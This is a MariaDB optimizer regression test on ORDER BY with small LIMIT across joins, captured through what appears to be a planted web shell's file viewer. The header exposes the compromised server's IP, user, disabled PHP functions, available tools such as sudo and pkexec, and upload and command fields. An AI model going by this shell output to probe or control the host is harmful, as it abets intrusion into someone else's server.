403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/main/order_by_limit_join.test
--echo #
--echo # MDEV-34720: Poor plan choice for large JOIN with ORDER BY and small LIMIT
--echo #

--source include/have_sequence.inc
--source include/have_innodb.inc

# We need optimizer trace
--source include/not_embedded.inc

create table t1 (
  a int,
  b int,
  c int,
  col1 int,
  col2 int,
  index(a),
  index(b),
  index(col1)
);

insert into t1 select
 mod(seq, 100),
 mod(seq, 95),
 seq,
 seq,
 seq
from
  seq_1_to_10000;


create table t10 (
 a int,
 a_value char(10),
 key(a)
);
insert into t10 select seq, seq from seq_1_to_100;

create table t11 (
 b int,
 b_value char(10),
 key(b)
);
insert into t11 select seq, seq from seq_1_to_100;

set @tmp_os=@@optimizer_trace;
set optimizer_trace=1;

--echo #
--echo # Query 1 - basic example.
--echo #
let $query= explain
select
  *
from
  t1
  join t10 on t1.a=t10.a
  join t11 on t1.b=t11.b
order by
  t1.col1
limit 10;

--echo # Table t1 is not the first, have to use temporary+filesort:
eval $query;

set optimizer_join_limit_pref_ratio=10;

--echo # t1 is first, key=col1 produces ordering, no filesort or temporary:
eval $query;

set @trace=(select trace from information_schema.optimizer_trace);
--source include/optimizer_trace_no_costs.inc
select json_detailed(json_extract(@trace, '$**.join_limit_shortcut_choice')) as JS;

--echo #
--echo # Query 2 - same as above but without a suitable index.
--echo #
let $query=
explain
select
  *
from
  t1
  join t10 on t1.a=t10.a
  join t11 on t1.b=t11.b
order by
  t1.col2
limit 10;

--echo # Table t1 is not the first, have to use temporary+filesort:
set optimizer_join_limit_pref_ratio=0;
eval $query;

--echo # t1 is first but there's no suitable index,
--echo #   so we use filesort but using temporary:
set optimizer_join_limit_pref_ratio=10;
eval $query;

set @trace=(select trace from information_schema.optimizer_trace);
--source include/optimizer_trace_no_costs.inc
select json_detailed(json_extract(@trace, '$**.join_limit_shortcut_choice')) as JS;

--echo #
--echo # Query 3: Counter example with large limit
--echo #
let $query= explain
select
  *
from
  t1
  join t10 on t1.a=t10.a
  join t11 on t1.b=t11.b
order by
  t1.col1
limit 5000;

--echo # Table t1 is not the first, have to use temporary+filesort:
set optimizer_join_limit_pref_ratio=0;
eval $query;

--echo # Same plan as above:
--echo # Table t1 is not the first, have to use temporary+filesort:
set optimizer_join_limit_pref_ratio=10;
eval $query;

set @trace=(select trace from information_schema.optimizer_trace);
--source include/optimizer_trace_no_costs.inc
select json_detailed(json_extract(@trace, '$**.join_limit_shortcut_choice')) as JS;

--echo #
--echo # Query 4: LEFT JOIN makes it impossible to put ORDER-BY-table first,
--echo #          however the optimizer still puts it as sort_by_table.
--echo #
set optimizer_join_limit_pref_ratio=10;
explain
select
  *
from
  t10 left join (t1 join t11 on t1.b=t11.b ) on t1.a=t10.a
order by
  t1.col2
limit 10;

set @trace=(select trace from information_schema.optimizer_trace);
--echo # This will show nothing as limit shortcut code figures that
--echo #   it's not possible to use t1 to construct shortcuts:
--source include/optimizer_trace_no_costs.inc
select json_detailed(json_extract(@trace, '$**.join_limit_shortcut_choice')) as JS;

--echo #
--echo # Query 5: Same as Q1 but also with a semi-join
--echo #
set optimizer_join_limit_pref_ratio=default;
let $query= explain
select
  *
from
  t1
  join t10 on t1.a=t10.a
  join t11 on t1.b=t11.b
where
  t1.a in (select a from t10) and
  t1.b in (select b from t11)
order by
  t1.col1
limit 10;

--echo # Table t1 is not the first, have to use temporary+filesort:
eval $query;

set optimizer_join_limit_pref_ratio=10;

--echo # t1 is first, key=col1 produces ordering, no filesort or temporary:
eval $query;

set @trace=(select trace from information_schema.optimizer_trace);
--source include/optimizer_trace_no_costs.inc
select json_detailed(json_extract(@trace, '$**.join_limit_shortcut_choice')) as JS;

--echo #
--echo # Query 6: same as Query 1 but let's limit the search depth
--echo #
set @tmp_osd=@@optimizer_search_depth;
set optimizer_search_depth=1;
let $query= explain
select
  *
from
  t1
  join t10 on t1.a=t10.a
  join t11 on t1.b=t11.b
order by
  t1.col1
limit 10;

set optimizer_join_limit_pref_ratio=default;
--echo # Table t1 is not the first, have to use temporary+filesort:
eval $query;

set optimizer_join_limit_pref_ratio=10;

--echo # t1 is first, key=col1 produces ordering, no filesort or temporary:
eval $query;

set @trace=(select trace from information_schema.optimizer_trace);
--source include/optimizer_trace_no_costs.inc
select json_detailed(json_extract(@trace, '$**.join_limit_shortcut_choice')) as JS;

set optimizer_search_depth=@tmp_osd;
set optimizer_trace=@tmp_os;

--echo # An extra testcase for MDEV-35164 (its main testcase is below).
alter table t1 add unique key(col2);
insert into t10 select * from t10;
insert into t10 select * from t10;
analyze table t10;

--echo # This will not crash and also show that sorting is not done when
--echo #   ORDER BY only refers to const table columns:
explain
select
  *
from
  t1
  join t10 on t1.a=t10.a
  join t11 on t1.b=t11.b
where
 t1.col2=3
order by
  t1.col1
limit 10;
drop table t1, t10, t11;

--echo #
--echo # MDEV-35072: Assertion failure with optimizer_join_limit_pref_ratio and 1-table select
--echo #
SET optimizer_join_limit_pref_ratio=1;
CREATE TABLE t1 (c1 INT, INDEX(c1));
INSERT INTO t1  VALUES (1),(2);
SELECT * FROM t1  ORDER BY c1 LIMIT 1;
DROP TABLE t1;

--echo #
--echo # MDEV-35164: optimizer_join_limit_pref_ratio: assertion when the ORDER BY table becomes constant
--echo # Original testcase:
--echo #
SET optimizer_join_limit_pref_ratio=1;
CREATE TABLE t1 (a INT KEY,b INT, KEY(b)) ;
INSERT INTO t1 VALUES (2,NULL);
INSERT INTO t1 VALUES (5,NULL);
SELECT * FROM t1 NATURAL JOIN t1 AS t2 WHERE t1.b=NULL ORDER BY t1.a LIMIT 1;
DROP TABLE t1;

set optimizer_join_limit_pref_ratio=default;

--echo #
--echo # MDEV-38072 Optimizer choosing the wrong plan
--echo #

CREATE TABLE t0 (
  actor_id bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  actor_name varbinary(255) NOT NULL,
  PRIMARY KEY (actor_id),
  UNIQUE KEY actor_name (actor_name)
) ENGINE=InnoDB DEFAULT CHARSET=binary;

CREATE TABLE t1 (
  log_id int(10) unsigned NOT NULL AUTO_INCREMENT,
  log_type varbinary(32) NOT NULL DEFAULT '',
  log_timestamp binary(14) NOT NULL DEFAULT '19700101000000',
  log_params blob NOT NULL,
  log_actor bigint(20) unsigned NOT NULL,

  index log_actor_type_time (log_actor,log_type,log_timestamp),
  index log_type_time (log_type,log_timestamp),
  index log_actor_time (log_actor,log_timestamp),
  index log_times (log_timestamp),
  PRIMARY KEY (log_id)
) ENGINE=InnoDB  DEFAULT CHARSET=binary;


insert into t0 select seq, seq from seq_1_to_10;
update t0 set actor_name = 'DGG' where actor_id = 4;

insert into t1
  (log_timestamp, log_actor, log_params, log_type)
select
  19700101+seq,
  floor(seq / 400), /* log_actor, 50x */
  'log-params-value=log-params-value',
  concat('val-', 100 + mod(seq, 100))  /* log_type */
from
  seq_1_to_20000;

analyze table t0, t1;

set optimizer_trace=1;

let $q=
explain format=json
SELECT log_id, log_type, log_params, log_timestamp
FROM t0, t1
WHERE
  t0.actor_name = 'DGG' and
  t0.actor_id = t1.log_actor and
  t1.log_type NOT IN ('val-110', 'val-120', 'val-130', 'val-133', 'val-144',
                      'val-155', 'val-160', 'val-170', 'val-180')
ORDER BY
  log_timestamp DESC, log_id DESC
LIMIT 2;

--echo #
--echo # Bad query plan:  t1 has access_type:index, key=log_times
--echo #
--replace_regex /("rows": )[0-9]+/\1"REPLACED"/
eval $q;

set @tmp=@@optimizer_adjust_secondary_key_costs,
    optimizer_adjust_secondary_key_costs="fix_order_by_index_choice";
--echo #
--echo # Better query plan: t1 has access_type:range, key=log_actor_time, used_key_parts: log_actor
--echo #
--replace_regex /("rows": )[0-9]+/\1"REPLACED"/
eval $q;


set optimizer_adjust_secondary_key_costs=@tmp;
drop table t0, t1;


SET GLOBAL innodb_stats_persistent=default;
--echo # End of 10.11 tests

Youez - 2016 - github.com/yon3zu
LinuXploit